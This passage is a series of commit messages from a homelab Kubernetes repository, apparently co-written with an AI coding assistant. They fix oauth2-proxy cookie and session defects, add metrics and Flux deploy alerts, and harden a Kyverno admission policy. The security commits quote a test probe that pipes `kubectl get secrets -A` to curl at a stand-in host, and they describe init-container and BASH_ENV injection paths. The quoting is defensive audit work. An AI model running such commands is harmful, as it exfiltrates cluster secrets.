PR #28 gave the five fleet oauth2-proxy sidecars --metrics-address=0.0.0.0:44180 and a named `metrics` port. This wires a scraper to them and, in the process, found a real bug in the alert this branch added. PodMonitor, not ServiceMonitor. Measured: no Service exposes 44180 on any of the five (jackett/radarr/sonarr/qbittorrent/pihole all publish only their app port + authproxy 4180), so a ServiceMonitor would select nothing. A PodMonitor targets pod ports directly and needs no change to catalog/render.py or the apps/wave-* renders and goldens. Selector is the pod label homelab.keithjackson.dev/auth-mode=forward-auth — present on exactly those five gate pods, absent from crafty's, which still has no metrics listener. The property, not an app list. THE BUG: `up{container="oauth2-proxy"}` -> `up{container="oauth2-proxy"} == 1`. A target that is discovered but FAILING still publishes `up`, with value 0. The series exists, so count by (namespace) returned 1, `unless` removed the namespace, and OAuth2ProxyGateUnobserved went QUIET while nothing was being scraped at all — this branch's own disease reproduced inside the alert written to cure it. Not hypothetical: the PodMonitor lands five targets whose scrape is dropped, so the bare form would have silently cleared on this very commit. Proven by mutation: reverting the `== 1` fails the two new unit-test scenarios (got: nil) and leaves every other assertion green. The scrape does NOT work yet, and that is documented rather than papered over. From a pod in ns monitoring to the jackett pod, :44180 AND :4180 both time out; the shared proxy's :44180 answers. ns jackett's default-deny is podSelector:{} with policyTypes:[Ingress,Egress] and NO ingress key (deny-all), and the one allowance is fromEntities:[ingress] to 4180 — the Gateway's Envoy only. The endpoint itself is healthy: port-forwarded, /metrics returns http=200, 10208 bytes, all three oauth2_proxy_* families including requests_total{code="302"}. Same bug and fingerprint as platform/longhorn/networkpolicy-metrics.yaml records for Longhorn; the fix is one narrow rule per app, and it cannot ship from this tier because oauth2-proxy and apps-wave-0 are Flux SIBLINGS (both dependsOn platform-config), so naming ns jackett here would apply today and fail on a cold rebuild. Needs an owner in the renderer. Touches conformance/** : one KNOWN_EXTERNAL_MONITORS entry, which is the mechanism the failing check explicitly instructs ("DECLARE it ... with who creates it") and which flux-podmonitor.yaml already uses. It records that the port name was measured on prod instead of resolved from a Service, and that the targets are currently down. That makes this PR require a non-author review on the sensitive-path rule. Also: ratio alert still NOT shipped. oauth2_proxy_requests_total now exists on the endpoint but not in the TSDB, so writing it today would make it inert for exactly the reason it was refused on 2026-09-30. Runbook gains policy-vs-no-target triage and the radarr /signalr/messages/negotiate worked case — one orphaned browser tab, 206 identical 302s, nobody ever re-prompted. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
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jakman85andClaude Opus 5
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dc136a4943 |
fix(auth): the forward-auth sidecar also died at 5 minutes and served no metrics
Widens the cookie-collision fix to the whole sidecar contract, because all three
defects live in the same function and land on the same five goldens, so they are one
atomic change or they are five conflicting ones.
Added to _oauth2_sidecar_container(), on top of the cookie-name/cookie-domain fix:
--cookie-refresh=2m30s
The session died FIVE MINUTES after sign-in. Keycloak's homelab realm issues
300-second access tokens (MEASURED on a live session: expires - created =
300.000s exactly, with refresh_token:true on the same line), and
--cookie-refresh defaults to 0 -- which the pinned binary's own help spells
"0 to disable". So the proxy held a refresh token it was never told to spend.
Refresh at HALF the lifetime: two chances to renew before expiry.
This, not the collision, is what dominates the rejection VOLUME -- ~95% of
radarr's 155 rejections in 12h carry no cookie at all.
--metrics-address=0.0.0.0:44180 + a `metrics` container port
Without the flag the /metrics listener never starts, so no per-app sidecar was
serving metrics at all (`ports` was ['http'] on all six). 44180 is the
platform's existing convention, measured not chosen: the shared proxy already
runs the same flag and port with 2 ready endpoints.
PREREQUISITE ONLY -- NOT scraped. A container port is not a Service port, and
each namespace's default-deny baseline is `ingress: []`, so this is unreachable
until a Service port (or PodMonitor), a monitoring allow and a ServiceMonitor
land. Do not read this as "the sidecars have metrics now".
EVERY FLAG VERIFIED AGAINST THE PINNED v7.8.1 BINARY (`--help`), not against docs or
the shared proxy -- which runs v7.15.3 and could not have vouched for v7.8.1:
* --metrics-address exists in 7.8.1, so this cannot crashloop the pods
* --cookie-refresh ... "0 to disable" confirms the default
* --cookie-name ... (default "_oauth2_proxy") -- this confirms from the
IMPLEMENTATION the constant the new L0 check is built on
* --api-route is SINGULAR; the plural does not exist and the proxy refuses to start
* --session-cookie-minimal exists and is mutually exclusive with --cookie-refresh,
so dropping --pass-access-token is a least-privilege argument, never a size fix
NOT done, deliberately: --api-route=^/api/ renderer-wide. It was measured on jackett
and PiHole does not serve /api/, so a renderer constant would apply one app's path
shape to five. It needs a per-app hook the `auth` schema forbids
(additionalProperties: false) -- a schema change, separate PR.
Also records the mechanism that made this INTERMITTENT, as a renderer comment, because
nobody would reconstruct it from the flags: the loser does not just fail to read the
cookie, it calls ClearSession, which expires the cookie on its own --cookie-domain --
the whole zone. The *arr UIs poll (/api/v3/command, /api/v3/queue/details,
/signalr/negotiate), so every poll carrying an undecryptable cookie clears it again:
A LEFT-OPEN RADARR TAB DELETED JACKETT'S COOKIE EVERY FEW SECONDS, from another
namespace, with no user action. That is why signing in again never helped for longer
than the gap between two polls.
Crafty's counter-evidence resolved: the 81:1 ratio was a 24h window straddling a
13h52m-old pod. Bounded to the fixed process, crafty's ENTIRE life is 3 rejections in
6743 log lines, with ZERO `removing session` and ZERO `cookie signature not valid`
against unfixed radarr's 8 and 8. The eviction fingerprint is gone where the fix is
deployed. It logged 0 AuthSuccess too, so that is absence-of-the-failure-mode rather
than a session watched working -- stated as such in the handoff.
Renderer selftest gains six assertions, including a --cookie-refresh check that PARSES
the duration and requires 0 < refresh < 300s (so 2m30s/150s/2.5m all stay green while a
silent widening past the token lifetime does not). NOTE, and it is in the handoff as the
top follow-up: NOTHING IN ci/ RUNS `render.py --selftest`, so those assertions are
dev-time only. conformance/tests/l0-static/auditability-proofs-producible/check.sh:291
already drives other tools' selftests for exactly this reason and is the one-line fix.
Gate (toolbox, worktree shim with the spec repo mounted at /home-network-k3s): rc 3
UNDETERMINED. Green: spec-immutability, decisions-log, lint, l0, render-golden, l1,
approval-policy. Skipped: gitea-settings (no local token), conformance (declared).
The new L0 check PASSES on this branch -- all five apps fixed in one commit.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
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jakman85andClaude Opus 5
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9a4489b733 |
fix(auth): five oauth2-proxy sidecars shared one cookie and evicted each other
Every oauth2-proxy on this platform is an independent instance with its OWN
cookie-secret. Measured on prod 2026-09-30: seven `*-oauth2-proxy` Secrets, seven
DISTINCT cookie-secret values (compared in-cluster, never printed). So no instance
can DECRYPT another's cookie -- it can only OVERWRITE it.
All of them were emitting oauth2-proxy's DEFAULT names (`_oauth2_proxy`,
`_oauth2_proxy_csrf`) scoped to `.${BASE_DOMAIN}`, so the browser kept ONE cookie
pair for SIX live instances (jackett, pihole, qbittorrent, radarr, sonarr, and the
shared forward-auth proxy). Whichever authenticated last clobbered the rest; the
loser logged `No valid authentication in request`, bounced to Keycloak, and -- the
SSO session still being live -- was redirected straight back and clobbered it again.
The symptom is "I signed into Keycloak but I'm still not signed in", which sends you
hunting in Keycloak, where nothing is wrong. Crafty was fixed on its own side on
2026-09-29 (#22); this is that fix generalized to the pattern.
THE DEFECT WAS NOT IN THE MANIFESTS. apps/wave-*/{jackett,pihole,qbittorrent,radarr,
sonarr}.yaml are GENERATED goldens; one function emits all five. So the fix is in
catalog/render.py::_oauth2_sidecar_container(), and both flags are now DERIVED from
the ServiceDefinition rather than defaulted:
--cookie-name=_oauth2_proxy_{s['name']} unique by construction
--cookie-domain={host} the app's own host, not the zone
A per-service table was rejected for the reason twelve ServiceMonitors once acquired
one identical wrong port name in a single edit: it would leave the NEXT app onboarded
defaulting straight back into the collision. --whitelist-domain stays zone-wide; it
governs post-login REDIRECT targets, not cookie scope.
Host-scoping is defence in depth and is asserted deliberately: a zone-wide cookie is
transmitted by the browser to every host in the zone, so each app's session token was
being sent to every sibling -- and it is what would make a FUTURE name collision
platform-wide instead of contained.
New gate check (whole-repo scope, so it runs on EVERY gate invocation, not only when
a touched path happens to attribute an identity requirement):
conformance/tests/l0-static/oauth2-proxy-cookie-names-distinct/
It resolves each instance's EFFECTIVE cookie name -- declared, or oauth2-proxy's
built-in default when omitted, because an omitted flag is not an absence but a CLAIM
on a name, and reading it as an absence is exactly why this survived five reviews.
Then: no two collide; none is another's name + `_csrf` (oauth2-proxy derives the CSRF
cookie that way); the default has exactly ONE owner, registered with its reason in a
shrink-only register -- the SHARED proxy, which MUST keep `_oauth2_proxy` because
renaming it signs every other gated surface out at once; every other instance is
host-scoped; render.py derives rather than lists; and the SHIPPED renderer is proven
end-to-end on two synthetic ServiceDefinitions, so the check stays falsifiable once
the tree is clean.
Tested in both directions: rc 0 on this tree (39 assertions, 7 instances), rc 1 with
26 failures against the pre-fix tree, plus one targeted mutation per assertion class
(duplicate name, CSRF derivation, zone-wide domain, unregistered default heir, stale
register entry) -- each fired, and nothing else did.
Also regenerates the three L1 rendering goldens, which are expected-output fixtures
of the same renderer.
UNVERIFIED: no browser round-trip. The collision has still never been REPRODUCED in a
browser -- doing so needs two gated apps visited in one session -- so this is reasoned
from measured configuration and from the mechanism, not from a failure anyone watched.
Nothing was applied; merging rolls five Deployments and invalidates every existing
session on them once. See decisions/2026-09-30-oauth2-proxy-cookie-collision-fleet.md.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
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jakman85andClaude Opus 5
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55b232e2ce |
feat(obs): notify on Flux deploy start and completion
The operator got no mail when Flux began applying a git change and none when it finished. Measured cause: notification-controller v1.4.0 is running and its CRDs serve v1beta3, but there are ZERO Provider and ZERO Alert objects in the cluster — nothing in git ever created any. The obvious fix does not work. Neither Flux event can be filtered into a deploy signal: ReconciliationSucceeded is a heartbeat (101 events in one hour across 16 Kustomizations, message byte-identical whether the apply changed anything), and Progressing is worse (five Kustomizations re-apply the same object on every tick — event counts 2505/2504/2501/2495/2490). gotk_* carries no revision label at all (gotk_reconcile_condition 120 series, gotk_suspend_status 40, none with one). The applied revision is the only signal that moves when and only when git moves, and it lives in object status alone. So export it via the kube-state-metrics custom-resource-state path that already serves the Velero Schedule metrics — kube_flux_kustomization_info/_suspended and kube_flux_gitrepository_info — and ask the question in PromQL: FluxRolloutInProgress (severity: info, no `for:`) fires the moment a non-suspended Kustomization's applied revision is not the revision the GitRepository fetched from main, and CLEARS when all have caught up. Fired mail = a deploy started; RESOLVED mail = it completed. The completion half is send_resolved, not a second rule. FluxRolloutStuck (severity: warning, for: 30m) is the same expression as the escalation for a rollout that started and never converged. Two guards, each with a test whose only job is to fail if the clause is removed: `and on () (count(gitrepository_info) > 0)` — without it a missing exporter makes `unless on (revision) <empty>` remove nothing and all 16 Kustomizations alert forever, the permanently-firing mode this repo shipped once already — and the suspended-Kustomization exclusion, without which a suspended tier holds the rollout open and the "applied" mail never arrives. A dedicated Alertmanager severity=info route + email-deploy receiver keeps deploy notices off the [WARNING] catch-all. podAnnotations carries a roll-counter because the chart sets no checksum over the custom-resource-state ConfigMap, so a config-only edit would leave KSM on the old collector set with the new alerts silently inert. Verified: promtool SUCCESS on 6 scenarios (both guards, plus the convergence test that proves the alert empties itself); lint/l0/render-golden/l1/decisions-log/ spec-immutability green in the pinned toolbox. NOT verified: no mail has been sent — the metrics do not exist until this merges. Full gap list, and the deliberately-cut notification-controller half, in the handoff entry. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
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jakman85andClaude Opus 5
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f6e8fb1fee |
fix(sec): the trigger policy read containers and nothing else — initContainers, ephemeralContainers and env were all open
Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.
MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:
* a `privileged: true` `docker.io/library/alpine:latest` initContainer running
`kubectl get secrets -A` -> pass: 3, fail: 0 ADMITTED
* the committed template with ONLY the init container's args swapped for
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
-> pass: 3, fail: 0 ADMITTED
Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.
Four new rules:
* trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
non-root, no privilege escalation, not privileged.
* trigger-may-not-declare-ephemeral-containers.
* trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
sources it before running a non-interactive script, and the runner's command IS one.
* trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.
All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.
THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.
Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.
Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.
ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.
PROVEN, NOT ASSERTED (7 rules):
real rendered template -> pass: 7, fail: 0
coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1)
ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in
decisions/2026-09-29-conformance-job-template.md. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.
UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.
Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
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jakman85andClaude Opus 5
|
6ef4def2b5 |
feat(conformance): the in-cluster Job can now run a named commit and get its results out
`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:
* the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
`conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
`git` via an inline credential.helper that reads the environment, so the token is
never in argv and never on disk;
* `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
`readOnlyRootFilesystem: true` without a third volume and without subPath mounts
(a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
* `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
clone target and `git clone` refuses a non-empty target -- hence the new
`CONF_ARTIFACTS` override, honoured only when set.
The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.
Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===
`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.
Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.
FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and in
decisions/2026-09-29-conformance-job-template.md with the recommended 4th rule, not patched in beside the Job that must satisfy it.
UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.
Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
jakman85andClaude Opus 5
|
ab9ba32a76 |
feat(sec): bake conformance-clone so the init container has no injection surface
Closes half of the admission gap a sibling agent found in PR #13's policy: it pins the MAIN container's `command` but never reads `initContainers`, so a Job from `conformance-trigger` can carry an init container with `command: ["/bin/sh","-c"]` and an arbitrary script, running as the privileged `conformance-runner` SA. Reproduced by the policy's author: pass 3, fail 0 on a privileged alpine:latest init container running `kubectl get secrets -A`. The image now carries /usr/local/bin/conformance-clone, 0755 root:root, so uid 65532 cannot replace the one executable the policy will come to trust. Clone logic taken from PR #20's `clone-suite-at-commit`, with both load-bearing properties preserved: the SHA must match ^[0-9a-f]{40}$, and `rev-parse HEAD` is ASSERTED equal to it after checkout, so an unrendered placeholder is a hard failure instead of a silent run of the branch tip. No arguments are accepted. DEVIATION FROM THE BRIEF, DELIBERATE: the repo URL and clone target are COMPILED IN rather than read from the environment. I was asked to take SHA, repo URL and target dir from env. The policy contains no `env`/`valueFrom`/`secretKeyRef` clause at all -- so trusting CONFORMANCE_REPO_URL would move the injection one field over: the trigger points it at a repo it controls, this fetches that, and ./run.sh from the attacker's tree runs under the privileged SA. "No args" would not have stopped it. The env vars are still read so the Job template stays self-documenting, but a value disagreeing with the baked literal is a hard failure, never a redirect. The SHA is the only genuinely trusted per-run input. THIS IS HALF A FIX. What makes the fixed path REQUIRED rather than merely available is a 4th policy rule demanding command: ["/usr/local/bin/conformance-clone"] with no args on every initContainer. That edits the security boundary and belongs in its own reviewed PR -- it is NOT here. Until it lands the hole is open, and the README, the Containerfile and the script header all say so. VERIFIED by running it (uid 65532, --read-only): root:root 755 and confirmed not writable by the runner; seven negative cases each asserted to exit non-zero (arguments, missing SHA, a branch name, an unrendered @@placeholder@@, HOME off the workspace volume, a REDIRECTED repo URL, a clone target off the workspace volume); and the positive case -- a real clone of this repo at a real 40-hex SHA with rev-parse HEAD proven equal to it. Two bugs of mine that only running it could find, both fixed: the workspace-path guard matched /workspace/* and so rejected the image's own HOME=/workspace; and the negative checks were pipelines, which under pipefail aborted the verify at the first expected failure and silently skipped the other six. A verify that stops early looks exactly like a verify that passed. The anonymous-clone fallback is deliberate and logged: read access to this repo needs no credential today, the integrity guarantee is the SHA assertion rather than the credential, and requiring the Secret would make the script untestable without one. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
529556d7c7 |
fix(conformance): state the chainsaw supply-chain gap accurately
The Containerfile said chainsaw "publishes no per-asset checksum file at a stable URL". Literally true, and misleading: it reads as "no integrity option exists". Checked the release assets via the GitHub API -- v0.2.12 ships per-asset cosign `.sig` + `.pem` and an SBOM alongside each tarball. So verification IS available, it just needs cosign in the builder stage and the right keyless identity for kyverno's release workflow. Comment now says what is actually true: kubectl is sha256-verified, chainsaw rests on tag + TLS, and the cosign path is named as a TODO rather than implied away. Deliberately not implemented here -- picking a trusted signer identity is a supply-chain decision that belongs in its own reviewed change, not a silent addition to a runner image. Noted that infra/devcontainer/Containerfile has the same gap for the same binary. Rebuilt after the edit; the in-image verification still passes. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
jakman85andClaude Opus 5
|
8619c60e6e |
feat(conformance): build the runner image the in-cluster Job could never have run
The committed L2/L3 Job pins `ghcr.io/kyverno/chainsaw:v0.2.12` with `command: ["./run.sh"]`. Those two lines cannot both be true. That image carries the chainsaw binary and essentially nothing else -- no bash, no python3, no kubectl, no git -- so the Job would have failed at exec of `./run.sh`, before a single test ran. Nothing in the tree said so. This adds the image that makes the Job runnable (plan docs/plans/l2-l3-conformance-ci-wiring.md section 3 item 1): * conformance/incluster/Containerfile -- bash + python3 + chainsaw + kubectl + git-core + tar/gzip/coreutils (the base64-tar results channel of item 3). Two-stage: a full Fedora fetches the release binaries and verifies kubectl's published sha256; the runtime layer is fedora-minimal and carries no downloader. Versions are --build-arg-injected from infra/devcontainer/versions.env (CHAINSAW_VERSION, KUBECTL_VERSION, FEDORA_VERSION) -- the single source of truth -- so the chainsaw and kubectl in the runner are the same pins the toolbox gate runs with. No new pin is invented here, and the ARG defaults are EMPTY so a build that forgets one fails loudly instead of baking a stale version. * conformance/incluster/build-image.sh -- builds it, PROVES the toolchain by executing it inside the image, and prints the digest. It never pushes: the registry credential is not an agent's to hold and publishing the artifact a fail-closed policy then trusts is an operator action. It prints the exact `podman push --digestfile ...` line instead. * conformance/versions.env -- CONFORMANCE_RUNNER_IMAGE, with the digest deliberately EMPTY and a loud block saying the operator fills it in after the push. Empty is a visible failure in whatever renders the Job; a guessed digest would be an ImagePullBackOff dressed up as a cluster fault. WHAT THE ADMISSION BOUNDARY FORCED, AND WHY THE IMAGE OBEYS IT platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce + failurePolicy: Fail and it is the R-SEC-02 boundary. It is NOT modified here. Two of its clauses are load-bearing on the image itself: * `runAsNonRoot: true` with no explicit runAsUser means the kubelet rejects an image whose USER is a name it cannot resolve to a uid. So USER is NUMERIC (65532), not a friendly name. * The pod is readOnlyRootFilesystem and the policy admits only the `workspace` and `results` volumes -- there is no writable /tmp and one cannot be added without editing the boundary. So HOME, XDG_CACHE_HOME, XDG_CONFIG_HOME and TMPDIR all point into /workspace, and git's safe.directory config is written to /etc/gitconfig at BUILD time because a runtime --global write would fail. VERIFIED BY RUNNING IT, not by a successful build As uid 65532 with --read-only: bash 5.3.9, Python 3.14.7, git 2.55.0, kubectl v1.36.4 (client), chainsaw 0.2.12; / confirmed read-only, /workspace writable, uid confirmed non-zero. Then the real thing -- `./run.sh --lint`, `--coverage-only` and `--layer l2 --no-cluster` all rc 0 inside the image against this worktree, emitting coverage.md/.json and report.junit.xml. KNOWN LIMIT, FLAGGED NOT PAPERED OVER run.sh runs the selected offline L0/L1 checks before it touches the cluster for ANY selection that is not offline-only, and those checks shell out to flux, promtool, kyverno and kustomize, which this image does not carry. Baking the whole devcontainer toolchain into the runner would roughly double its size to re-run work ci/l0.sh and ci/l1.sh already did offline in the same CI run. So the Job must select the cluster-gated layers only (`--layer l2` / `--layer l3`); `--layer all` and a bare `--requirements <IDs>` would drag the L0 checks in and fail on a missing tool. `--layer l2` is verified above to resolve the offline selection to nothing. Choosing the Job's args belongs to T-6.1b; the constraint is documented in the Containerfile header and the incluster README rather than left for someone to discover from a pod log. chainsaw-job.yaml's `image:` is left stale ON PURPOSE -- there is no digest to put there yet, and the trigger renders that template per run (plan item 4). The README now says so instead of letting the placeholder read as a pin. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
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jakman85andClaude Opus 5
|
8c7a770de2 |
fix(sec): the R-SEC-02 admission policy was never applied -- and nothing could tell
PR #13 added conformance-trigger-job-shape.yaml to platform/kyverno/admission/ kustomization.yaml. That file applies NOTHING. Its own sibling says so: "kept as reference; THIS file is the buildable render root" -- and that render root (platform/kyverno/kustomization.yaml) ships only the namespace and the HelmRelease, noting that ClusterPolicies are applied a tier later, by platform-config, because they need the Kyverno CRDs first. So three lists exist and only platform-config/kustomization.yaml applies anything. The policy went into the wrong one and EVERYTHING WENT GREEN: the file parsed, kyverno test exercised it by path and passed, the merge gate passed, and Flux reported `platform` Ready at the new revision. Measured on prod afterwards: kubectl get clusterpolicy conformance-trigger-job-shape Error from server (NotFound) while ns conformance, the conformance-trigger ServiceAccount, its Role and its RoleBinding were all live. That is exactly the state that identity's own RBAC header says must never exist -- the trigger identity present with nothing bounding it. Blast radius was small only because no trigger kubeconfig exists yet, which is luck, not design. Wires the policy into platform-config (verified: the render goes from 7 ClusterPolicies to 8 and contains conformance-trigger-job-shape). CLOSES THE CLASS, which matters more than the instance. Adds the L0 check admission-policies-actually-applied: every ClusterPolicy file under platform/kyverno/ is either referenced by platform-config/kustomization.yaml or named in a CI_ONLY list with a reason -- and CI_ONLY may not name a policy that IS applied, so the exemption cannot rot in either direction. Declared scope whole-repo deliberately: a policy wired nowhere touches no requirement the diff attributes, so a path-scoped run would have skipped it on the exact commit that introduced the defect. Proven both ways, not assumed: with the fix reverted -> FAIL, naming conformance-trigger-job-shape as never applied with the fix -> PASS, 9 policy files, 8 applied, 1 CI-only with a reason `kyverno test` proves a policy is CORRECT. This proves it is DEPLOYED. Nothing did before. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
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jakman85andClaude Opus 5
|
8eb5baffa4 |
feat(sec): constrain the conformance CI trigger at admission (R-SEC-02)
Implements the credential model the operator chose for wiring L2/L3 into CI: a narrow
trigger SA bounded by a fail-closed Kyverno admission policy, rather than the
zero-credential GitOps-native alternative (plan section 4, primary model).
THE ESCALATION THIS CLOSES. Kubernetes places NO `use` check on a Job's
serviceAccountName. Any principal that can `create jobs` in ns conformance can create a Job
running as conformance-runner -- nodes/patch, pods/exec, namespaces/patch -- with an
arbitrary command. A CI token with plain `create jobs` IS that privileged identity no matter
how narrow its own Role looks. RBAC cannot fix this; only constraining the SHAPE of what the
trigger may create can.
Adds:
* SA/Role/RoleBinding conformance-trigger -- create+get+list+watch jobs, get pods and
pods/log, nothing else. Namespaced. No delete (a trigger that can delete can hide a
failed run), no exec, no secrets. Results come back as a tarball on stdout read via
pods/log, so no execution channel into the runner pod is ever granted.
* ClusterPolicy conformance-trigger-job-shape -- Enforce, failurePolicy: Fail. It does NOT
use ${KYVERNO_VALIDATION_ACTION}: a security boundary an overlay can downgrade to Audit
is not a boundary. It constrains ONLY conformance-trigger, so a mistake here cannot wedge
the rest of the cluster.
* Flux Kustomization `conformance` -> ./conformance/incluster, wait:false and non-gating
like apps-vms, so a test identity can never stall the platform or app tiers.
* A kyverno test with seven cases, six of them real escalation paths.
VERIFIED by `kyverno apply` (pass: 10, fail: 6, error: 0), not assumed:
evil-command DENIED at /spec/template/spec/containers/0/command/ <- THE attack
evil-image DENIED at .../image/
tag-not-digest DENIED at .../image/ (mutable tag is republishable)
host-namespaces DENIED at /spec/template/spec/hostPID/
extra-volume DENIED by the volumes foreach
injected-args DENIED by the args foreach
good-run ADMITTED
ALSO FIXES A FAIL-OPEN IN THE GATE ITSELF. `kyverno test` does NOT fail when a policy cannot
LOAD: every row becomes "Skip / Invalid Policy" and it still prints "N tests passed" and
exits 0. Measured while writing this policy -- a schema error (subjects in a separate
match.all entry from resources) produced exactly that, and ci/l0.sh would have certified a
security policy that does not load as green. This is not specific to this policy: a typo in
restrict-host-namespaces or secret-provenance would silently disable it with the gate still
green. ci/l0.sh now scans for "Invalid Policy" and fails. Proven: broken policy -> l0 rc=1,
restored -> rc=0.
IMAGE PINNING, HONEST LIMIT: the plan specifies pinning the exact runner image digest. That
image does not exist yet, so this enforces the enforceable half -- the image must be under
the conformance repository path AND digest-pinned, never a mutable tag. Residual surface:
anyone who can PUSH to that path could publish a different digest. Tighten to the literal
